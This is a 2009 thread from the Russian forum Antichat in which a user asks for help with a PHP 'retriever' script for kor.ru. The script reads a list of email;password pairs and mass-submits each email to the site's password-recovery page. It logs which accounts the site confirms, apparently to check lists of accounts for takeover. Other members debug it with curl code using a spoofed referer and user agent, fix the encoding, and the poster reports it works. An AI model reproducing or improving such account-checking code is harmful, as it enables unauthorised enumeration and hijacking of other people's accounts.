Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   www.kor.ru - Ретривер. (https://forum.antichat.xyz/showthread.php?t=141066)

Велемир 13.09.2009 06:07

www.kor.ru - Ретривер.
 
Всем привет.Пишу тут ретривер для КОРа,но чего-то не выходит восстановить письмо.Непонятно,что за РНР скрипт обрабатывает восстановление пароля.Вот примерный код:

PHP код:


<?php

set_time_limit
(0);

include 
"funcs.php";

$fp fopen("accounts.txt","r");
$fp1 fopen("good.txt","a+");
$fp2 fopen("bad.txt","a+");

while(!
feof($fp)) {

$str fgets($fp,1024);
$str1 explode(";",trim($str));
$r retpost("http://www.kor.ru/password/recover","email=$str1[0]&submit=Вспомнить");


if(
preg_match("|Пароль выслан|",$r)) {

fwrite($fp1,"$str1[0];$str1[1]\r\n");

}

else {

fwrite($fp2,"$str1[0];$str1[1]\r\n");

}


}

fclose($fp);
fclose($fp1);
fclose($fp2);

?>

Мб регулярка и пральная,но записывает в bad.txt.Подозреваю,что это из-за неправильного запроса.Других причин просто не вижу.Кто поможет ?

_==wolf==_ 13.09.2009 12:09

проверь кодировку. и для начала закоменть регулярки и сделай вывод $r, посмори что там

b3 13.09.2009 14:16

Ну отсылает нормально правда такого мыла нет, дальше через регулярки и RETURNTRANSFER на 1 переключи.
PHP код:

<?php
$ch 
curl_init('http://www.kor.ru/password/recover');
curl_setopt($ch,CURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C');
curl_setopt($chCURLOPT_RETURNTRANSFER0);
curl_setopt($chCURLOPT_REFERER,'http://www.kor.ru/password/recover');
curl_setopt($chCURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($chCURLOPT_COOKIEFILE'./cook');
curl_setopt($chCURLOPT_COOKIEJAR'./cook');
curl_exec($ch);
?>


Велемир 13.09.2009 15:00

А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?

Велемир 13.09.2009 15:23

Пробовал так сделать:

preg_match("|(.*)|",$r,$sam);
print_r($sam);

Возвращает еденицу(.returntransfer в 0 и 1 пробовал но бестолку.

ЗЫ: Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают кроме (.*).Возвращает пустой массив,или кучу пустых элементов.Одно ясно,что результат возвращается,вот а почему элементарный контекстный поиск не работает...

b3 14.09.2009 13:37

Цитата:

А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?
Кнопка =\
Цитата:

&submit=%D0%9...
Цитата:

Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают
Потому что там UTF-8

PHP код:

<?php 
$ch 
curl_init('http://www.kor.ru/password/recover'); 
curl_setopt($ch,CURLOPT_POST1); 
curl_setopt($chCURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C'); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
curl_setopt($chCURLOPT_REFERER,'http://www.kor.ru/password/recover'); 
curl_setopt($chCURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); 
$res curl_exec($ch);
curl_close($ch);
$txt iconv('Windows-1251','UTF-8','Неверный адрес'); 
if(
preg_match("#$txt#",$res))
echo 
'Неверный адрес ага';
?>

ЗЫ пробелы убереш в :
submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C

Велемир 14.09.2009 18:45

Пасип,тему мона клоцать:)Всё работает:)


Время: 20:23